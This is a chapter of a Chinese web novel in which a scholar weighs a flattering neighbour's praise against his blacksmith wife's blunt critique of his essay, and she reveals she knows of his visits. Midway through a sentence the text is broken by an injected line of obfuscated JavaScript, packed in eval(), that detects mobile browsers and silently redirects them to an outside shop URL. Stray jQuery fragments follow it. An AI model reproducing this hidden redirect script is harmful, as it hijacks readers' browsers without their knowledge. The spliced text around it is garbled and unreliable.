周砚书从府城回来后的第三天，把那篇新改好的文章拿给了柳含烟看。
那天他是特意挑宋云铮在铁铺里忙的时候去的，手里攥着那卷纸，敲隔壁门的时候心跳得厉害。门开了，柳含烟看见是他，眼睛先亮了一下，随即又浮上一层薄薄的红。
"周相公来了，快进来。"她让开门，目光在他手里的纸卷上停了一瞬，"这是……"
"新作的文章。"周砚书清了清嗓子，有点不好意思，"想请柳娘子帮着看看。"
柳含烟睁大了眼，白净的手指掩在唇边，又惊又喜："周相公太抬举我了，我哪懂什么文章……"
"没事，你随便看看就行。"周砚书把纸卷展开铺在桌上，退开半步让她看。
柳含烟凑过去，低头看那密密麻麻的墨字。她确实看不懂——那些策论考据引经据典的东西对她来说全是天书。但她看得很认真，眉头微微蹙着，指尖跟着一行一行的字往下移，偶尔"嗯"一声，偶尔点一下头，神情专注得像在观摩什么稀世珍宝。
看完最后一行的落款，她抬起头来，眼眶居然微微泛了红。
"太好了，"她说，声音轻轻的，带着一种由衷的赞叹，"周相公这文章写得太好了，我虽然看不太懂，但就是觉得……觉得特别厉害。周相公以后一定是要做大官的。"
周砚书被她夸得脸上发热，摆摆手谦虚了几句。柳含烟又给他续了茶，茶香袅袅的，混着她屋子里的桂花香气，让人心神荡漾。她坐在对面双手捧着茶杯，眼睫低垂着，细声细气地问他这篇文章写了多久、费了多少心思、有没有拿给别人看过。
周砚书说写了小半个月，改了好几稿，给傅教谕看过了，傅教谕夸了几句。
柳含烟便含笑点头："傅教谕都夸了，那必然是极好的。周相公真是才华横溢，咱们青石镇十几年怕也出不了一个像你这样的举人。"
周砚书喝了一口茶，那股子被捧着的熨帖感从喉咙一路暖到胃里。他想起之前把文章拿给宋云铮看时她那些"这里逻辑不通""这句啰嗦"的话，再对比柳含烟此刻满眼的崇拜，差距大得像隔着一条河。
他在柳含烟那儿坐了将近一个时辰才起身告辞。临走时柳含烟从柜子里拿出一个小瓷罐递给他，说是新做的桂花蜜，让他带回去冲水喝。
"天凉了，喝点热的暖身子。"她笑盈盈的，手腕上那串细银镯子叮叮响了一声。
周砚书接过瓷罐的时候碰了她一下，两个人的手指隔着罐壁蹭了蹭，都不动声色地缩了回去。他说了谢，出了门，在暮色里快步回了自家院子。
推开门的时候宋云铮正蹲在水井边洗手。她今天收工早，围裙还没解，铁灰溅了满脸。听见脚步声抬头看了他一眼，目光落在他手里那个新的小瓷罐上。
"又送东西了？"她问。
周砚书"嗯"了一声，把瓷罐搁在桌上："桂花蜜，冲水喝的。"
宋云铮甩了甩手上的水站起来，走到桌边拿起瓷罐拧开盖子闻了闻，桂花的甜香扑了满鼻。她合上盖子放回去，说："放柜子里吧，甜的东西我不爱吃。"
周砚书本能想说"又不是给你喝的"，话到嘴边硬生生咽了回去。他把瓷罐拿进厨房搁进柜子里，跟之前那坛桂花酱放在了一起。柜子里已经有三样了——桂花酱、桂花糕的油纸包、还有这罐桂花蜜，齐齐整整码在一格。
他关上柜门的时候余光瞥见宋云铮站在灶台边看着他。那目光平得像一面镜子，映着他忙活的样子，干干净净的，什么多余的影子都没有。
他心口一紧，快步去了书房。
进了书房他把门关上，坐在书案前平复呼吸。过了一会儿他听见宋云铮的脚步声在堂屋里响了一阵，然后停了，然后小打铁间那边传来了锤声。
周砚书松了口气，把书案上那卷文章重新展开看了看。刚才在柳含烟那儿被夸得飘飘然，此刻独自坐在灯光底下再看，忽然又觉得有几个地方立论略窄了。他拿起笔蘸了墨，准备再改一改。
改到一半，他鬼使神差地拿起了这卷文章，出了书房穿过院子走进了小打铁间。
宋云铮正在打一件新农具，大概是犁头，烧红的铁料在她锤下一点一点成形，火星溅得到处都是。炉膛里的火光把她黧黑的脸映成暖橘色，汗珠顺着下巴滴在铁砧上，滋的一声化作白烟。
周砚书站在小打铁间门口，手里攥着那卷文章，喉咙动了动才开口："云铮。"
宋云铮停了锤，抬头看他。
"这篇文章……我又改了一版。"他把纸卷递过去，"你看看？"
宋云铮把锤子放下，在围裙上擦了擦手上的灰，接过纸卷展开。她凑到炉火旁边借光看，一行一行扫过去，速度不快不慢，遇到某些段落会停下来多看两眼。
周砚书站在她身后，心提着，像从前在县学等先生批卷子似的。
宋云铮看完最后一行，合上纸卷递还给他。她抬头看着他的眼睛，脸上没什么表情，语气也平稳，但说出来的话让周砚书心头那点期待一下子落了地。
"比上一稿好一些，修辞精炼了。但第三节论民生那里还是撑不起来，前面铺得太开，引了三段典故，收的时候只用了一句结论，头重脚轻。如果改不了第三节，不如把前面压缩一段，直接切进去更快。"
周砚书怔住了。
她说得对。第三节能感觉到写的时候贪心了，想把各路经义都融进来，结果越写越散收不拢。他自己也知道那里有问题，可舍不得删那几段自认为精彩的引用，就一直硬撑着没改。如今被宋云铮一句话戳在了软肋上，他又窘又服，脸上青一阵红一阵。
"……知道了。"他把纸卷收回来，在手里捏了捏。
宋云铮已经转回去继续抡锤了，叮的一声砸在铁料上，火星又溅了满天。她的声音从炉火那边闷闷传过来："你想考会试，策论是重头，光辞藻好看没用，立论要稳。我爹从前说过一句话，铁器看着硬，折的地方全在软处。文章也一样。"
周砚书站在铺子门口，手里捏着那卷被挑了一通毛病的文章，心里五味杂陈。
她说得对，他没办法反驳。可正是因为没办法反驳，他心里那股子憋屈才越发翻涌上来。柳含烟捧着这卷文章说"太好了""特别厉害""周相公真是才华横溢"，宋云铮却连一句"还行"都吝啬。她知道他哪里好，可从来不说；她知道他哪里不好，张嘴就点。
他想被她夸一句。哪怕是"不错""尚可""有点意思"都行。可她偏不。三年了，没夸过他一个字。
周砚书攥紧了手里的纸卷，纸页被捏出几道折痕。他转过身往书房走，走了两步又停住，背对着铁铺的方向说了一句："你就不能夸我一次？"
锤声停了。
宋云铮的声音从身后传来，带着炉火烘出来的沙哑："夸你有什么用？你真正该改的地方我不说，谁跟你说？隔壁那个只会说好话的？"
周砚书的身子僵了。
他猛地转过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17834929|211396||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
身来，铁铺里的火光从门口涌出来泼了他一身。宋云铮站在炉子前看着他，手里握着铁锤，围裙上全是黑灰和火星溅出的窟窿眼。她黧黑的脸上沾着汗和灰，一双眼睛在火光里黑得发亮。
"你知道我去隔壁？"周砚书的嗓子发紧。
宋云铮没答他，把锤子搁回铁砧上，弯腰熄了炉膛的火。火舌缩下去，铺子里的光线一下子暗了，只剩墙角一盏油灯昏黄地晃着。她拍了拍手上的灰，拿起围裙边角擦了擦脸上的汗，声音平淡得像在说一件跟她毫无关系的事。
"你从县学回来的时辰比从前晚了半个时辰，进门之前衣裳上偶尔有桂花的味道，鞋底沾的泥颜色跟咱家院子里的不一样，隔壁院墙根底下的土是红壤。"
她说完这段话就从他身边走过去了，带起的风里全是铁锈和汗的气味。
周砚书站在原地，从头到脚像被泼了一盆冷水。
她知道。她什么都知道。巷口碰见、桂花糕、桂花酱、桂花蜜、那双绣了竹叶纹的鞋面、怀里揣着鼓包回来的那次、她缝衣裳时针脚忽然变密了的那天晚上——他以为他藏得天衣无缝，原来她全看在眼里，只是没说。
小打铁间里的炉火熄了，冷下来的铁料在黑暗里发出细微的"咔咔"收缩声。周砚书攥着那卷皱巴巴的文章站在门口，寒气从脚底往上爬，爬进骨头缝里。
宋云铮的卧房亮起了灯，然后很快又熄了。
她把门闩落下了。
周砚书在小打铁间门口站了很久，久到手里的纸卷被夜风冻得硬了，纸页边缘割着虎口生疼。他慢慢走回书房，在书案前坐下，把皱了的文章展开抚平，对着灯光看了很久。
宋云铮说的那三个毛病他重读了一遍，果然越看越刺眼，越看越觉得当初写的时候贪了。他拿笔蘸了墨，狠了狠心，把第三节开头一段自诩精彩的引文划掉了，重新铺了三行直接切到论点上去，笔墨落纸的声音在寂静的夜里格外清晰。
改完最后一个字的时候他搁了笔，对着新改的稿子看了很久。确实顺畅多了，立论稳了，整篇文章的筋骨比以前硬朗。他明知道宋云铮说得对，可心里那根刺被她挑出来之后反而扎得更深了——她懂文章，她看得出好坏，她一句"这里撑不起来"比他反复誊改十遍都有用。
可她说这话的时候，眼里一点温度都没有。像匠人点评一件铁器，哪里软了哪里折了哪里有砂眼，全都照实说，不带半点私情。
周砚书把改好的文章折好放进书箱里，然后靠在椅背上仰头看房梁。
隔壁的琵琶声又响了，这回弹得完整，一首曲子从头到尾没断过。周砚书闭着眼听了一会儿，脑子里翻来覆去转着两句话。
柳含烟说"周相公真是才华横溢"。
宋云铮说"夸你有什么用"。
一句轻得像羽毛，一句重得像锤子。两根细细的绳子从不同方向扯着他往两边走，扯得他整个人快要裂成两半了。
他睁开眼，把窗户推开一条缝。夜风从缝里灌进来，裹着隔壁院子桂花树的香气。又甜又腻，顺着鼻腔一直钻到心底最软的地方去。
他用手指蹭了一下窗台上的灰，蹭了一指头的黑。
放下手的时候他看见了隔壁院墙根底下的土——红壤。他低头看自己鞋底，黑灰的泥。他又想起宋云铮平静说"隔壁院墙根底下的土是红壤"那句话时的脸，在炉火映照底下没有任何起伏，像一面打废了的铁板。
他把窗户关上了，咔嗒一声落了闩。